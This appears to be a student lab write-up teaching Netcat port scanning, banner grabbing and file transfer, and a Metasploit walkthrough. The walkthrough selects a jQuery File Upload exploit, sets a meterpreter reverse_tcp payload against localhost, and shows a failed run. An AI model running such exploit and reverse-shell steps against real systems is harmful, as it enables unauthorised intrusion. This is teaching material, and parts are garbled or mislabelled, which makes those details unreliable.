

Lab Practical #03:

Perform Netcat and metasploit tool for scanning system vulnerability.

1. NetCat :

- Netcat (nc) is a powerful networking utility that reads and writes data across network connections using the TCP/IP protocol.
- It's often referred to as the "**Swiss Army knife**" of networking because it can do a wide range of networking tasks, from banner grabbing and port scanning to creating custom network clients and servers.

- **Port Scanning :**

- Netcat can be used to scan for open ports on a target host by specifying a range of ports.

Command: nc -zv [hostname] [port-range]

Example: nc -zv example.com 1-1000

-z: Tells Netcat to scan without sending any data (port scan mode).

-v: Enables verbose output, displaying more information about the connections.

```
(kali㉿root)-[~]  
$ nc -zv 152.59.23.150  
152.59.23.150: inverse host lookup failed: Unknown host  
no port[s] to connect to
```

- **Banner Grabbing :**

- It refers to the practice of connecting to a service on a specific port to retrieve information about the service (such as the software name and version). This can help in identifying potential vulnerabilities.

Command : nc<target-ip> 80

Example : ncgoogle.com 80

```
(kali㉿root)-[~]  
$ nc google.com 80
```

- **Client-Server Chat :**

- used to create a simple client-server chat application where the server listens for incoming connections, and the client sends and receives messages over a specified port.

Client : nc -l -p PORT

Server : nc<IP-Address> PORT

```
(kali㉿root)-[~]  
$ nc -l -p 12312  
hello  
kali  
[~]  
  
(kali㉿root)-[~]  
$ nc 127.0.0.1 12312  
hello  
kali  
[~]
```

Date: 19/12/24

- **File Transfer :**

- used to interact with an FTP server by connecting to its port (usually port 21) and sending raw FTP commands for basic file transfer operations like login and retrieving banners.

Sender :*nc<destination_ip><<port><file>*

Receiver :nc -lp<port>><file>

```
(kali㉿root)-[~]  
$ nc 127.0.0.1 12312 >testdemo.txt
```

2. Metasploit :

- Metasploit is a powerful framework used for penetration testing, vulnerability scanning, and exploitation.

- **Start Metasploit framework :** To open Metasploit,

[illegible]

- **Search for Exploits:** You can search for specific exploits based on the name or service.

```
msf6 > search apache

Matching Modules

#      Name      Rank      Check      Description      Dis
-----
0      exploit/multi/http/apache_apisix_api_default_token_rce 202
0-12-07 excellent Yes  APISIX Admin API default access token RCE
1      exploit/linux/http/atutor_filemanager_traversal 201
6-03-01 excellent Yes  Atutor 2.2.1 Directory Traversal / Remote Code Execution
2      exploit/multi/http/apache_activemq_upload_jsp 201
6-06-01 excellent No   ActiveMQ web shell upload
3      \_ target: Java Universal
4      \_ target: Linux
5      \_ target: Windows
6      auxiliary/scanner/http/apache_userdir_enum
normal No   Apache "mod_userdir" User Enumeration
7      exploit/multi/http/apache_normalize_path_rce 202
1-05-10 excellent Yes  Apache 2.4.49/2.4.50 Traversal RCE
8      \_ target: Automatic (Dropper)
9      \_ target: Unix Command (In-Memory)
10     auxiliary/scanner/http/apache_normalize_path 202
1-05-10 normal No   Apache 2.4.49/2.4.50 Traversal RCE scanner
11     \_ action: CHECK_RCE
12     \_ action: CHECK_TRAVERSAL
```

- **Select an Exploit:** Once you find the exploit you want to use, you can select it with the usecommand.

```
msf6 > use exploit/unix/webapp/jquery_file_upload
[*] No results from search
[*] Failed to load module: exploit/unix/webapp/jquery_file_upload
msf6 > use exploit/unix/webapp/jquery_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/jquery_file_upload) >
```

- **Show Exploit Options:** Every exploit has specific options that need to be configured before it.

```
msf6 > use exploit/unix/webapp/jquery_file_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/jquery_file_upload) > show options

Module options (exploit/unix/webapp/jquery_file_upload):

Name      Current Setting      Required      Description
-----
Proxies    Proxies              no           A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS              yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT              yes          The target port (TCP)
SSL        SSL                 no           Negotiate SSL/TLS for outgoing connections
TARGETURI  /jQuery-File-Upload yes          Base path
VHOST      VHOST              no           HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name      Current Setting      Required      Description
-----
LHOST     LHOST              yes          The listen address (an interface may be specified)
LPORT     LPORT              yes          The listen port

Exploit target:

Id  Name
--  ---
0   PHP Dropper

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/jquery_file_upload) >
```

- **Set the Target:** You can set specific options like RHOST (Remote Host), RPORT(Remote Port), and HOST (Local Host).

Date: 19/12/24

```
msf6 exploit(unix/webapp/jquery_file_upload) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(unix/webapp/jquery_file_upload) > set RPORT 80
RPORT => 80
msf6 exploit(unix/webapp/jquery_file_upload) > set LHOST 192.168.1.1
LHOST => 192.168.1.1
```

- **Set the Payload:** Payloads are the code executed on the target system once a vulnerability is successfully exploited.

```
msf6 exploit(unix/webapp/jquery_file_upload) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
```

- **Execute the Exploit:** Once all options are set, you can execute the exploit.

```
msf6 exploit(unix/webapp/jquery_file_upload) > exploit
[*] Exploit failed: linux/x86/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/jquery_file_upload) >
```

If the exploit is successful you'll receive a session that you can interact with (e.g., Meterpreter session).

- **Interact with Sessions:** If an exploit creates a session, you can interact with it using, `sessions -i [session_id]`